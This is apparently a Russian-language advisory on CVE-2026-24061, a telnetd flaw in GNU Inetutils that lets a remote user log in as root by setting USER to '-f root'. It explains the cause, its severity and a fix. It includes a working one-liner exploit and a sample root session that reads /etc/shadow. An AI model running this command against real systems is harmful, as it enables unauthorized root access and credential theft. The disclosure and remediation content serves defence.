🚨 CVE-2026-24061 — “TelneTD”

Критический обход удаленной аутентификации в GNU Inetutils telnetd
Призрак 2015 года вернулся, чтобы взломать всё, что всё ещё использует telnet.

Ноль аутентификации. Одна переменная окружения. Мгновенная root-оболочка.

⚠️ Обзор

CVE-2026-24061 — это критическая уязвимость удаленного повышения привилегий в GNU Inetutils telnetd ≤ 2.7.

Неаутентифицированный удаленный злоумышленник устанавливает переменную окружения USER в "-f root" через опцию Telnet NEW-ENVIRON.
telnetd передает ее без проверки напрямую в /bin/login → login видит -f root → пропускает всю аутентификацию → отправляет злоумышленника в root-оболочку.

Опасный код тихо сидел в дереве исходников почти 11 лет (примерно с 2015 года).

«Одна переменная окружения. Никакого пароля. Полный root. Добро пожаловать в 2026.»

🔥 Серьезность и воздействие

• CVSS v3.1 Базовый балл: 9.8 / Критический
  AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
• Вектор атаки: Сеть (TCP/23)
• Требуемые привилегии: Нет
• Взаимодействие пользователя: Нет
• Зрелость эксплойта: Тривиальный (однострочник работает с любого telnet-клиента)

Реальность в марте 2026 года:

• Массовое сканирование и эксплуатация наблюдаются с конца января
• Устаревшие встраиваемые устройства, оборудование АСУ ТП, забытые тестовые серверы всё ещё широко открыты
• Полная компрометация системы: учетные данные, сохранение доступа, точка входа для программ-вымогателей

🕵️ Обнаружение

• Закрыто сообщено мейнтейнерам GNU в середине января 2026
• Публично раскрыто через oss-security в конце января 2026
• Исправлено в GNU Inetutils ≥ 2.8 (выпущено вскоре после раскрытия)

🔬 Техническое погружение

Когда telnetd получает опцию NEW-ENVIRON, содержащую:

USER=-f root

Он напрямую добавляет значение к argv, передаваемому в /bin/login:

execve("/bin/login", ["login", "-f", "root", ...], ...)

Бинарник login интерпретирует -f root как:
«этот пользователь уже аутентифицирован как root — проверка пароля не требуется».

→ Злоумышленник получает приглашение #. Игра окончена.

Ключевая фатальная ошибка проектирования: перенаправление -R / переменной окружения никогда не ограничивалось авторизованными пользователями.

📅 Хронология

🖥️ Затронутые системы

Уязвимые версии: GNU Inetutils telnetd 1.9.3 – 2.7
Распространенные цели в 2026 году:

• Устаревшие промышленные контроллеры и HMI
• Старые маршрутизаторы, коммутаторы, принтеры
• Встраиваемые устройства на базе Debian
• Забытые виртуальные машины и контейнеры для разработки/тестирования
• Шлюзы АСУ ТП, всё ещё открывающие TCP/23

Безопасно:

• Системы, использующие busybox telnetd
• Inetutils ≥ 2.8
• Telnet полностью отключен / заблокирован брандмауэром

💥 Эксплойт в действии

Однострочник (любой Linux/macOS с telnet-клиентом):

USER="-f root" telnet -a 192.168.1.50

Типичный вывод:

┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.

Debian GNU/Linux 12 telnetd

root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...

Одно нажатие Enter — полный root-доступ.

🛡️ Проверка и исправление (март 2026)

1. Обнаружение уязвимой службы

telnet localhost 23   # look for inetutils banner
inetutils-telnetd --version   # vulnerable if ≤ 2.7

2. Убейте его (предпочтительно навсегда)

systemctl disable --now inetutils-inetd   # or telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd

3. Обновление (только если вы обязаны оставить telnet — редко)

sudo apt update && sudo apt install --reinstall inetutils-telnetd   # → ≥2.8

4. Брандмауэр (ремень и подтяжки)

iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp

📈 Статус — март 2026

• Эксплуатация продолжается против незапатченных устаревших устройств
• Использование Telnet на историческом минимуме — но всё ещё смертельно опасно, когда присутствует
• Вывод для экосистемы: устаревшие протоколы — это мины

🎓 Уроки, высеченные в камне

• 11-летние баги всё ещё прячутся в «мёртвом» коде
• Никогда не передавайте непроверенные пользовательские данные в бинарники, порождающие root
• Внедрение аргументов → root бессмертен
• Telnet должен был умереть в 2010. Убейте его в 2026.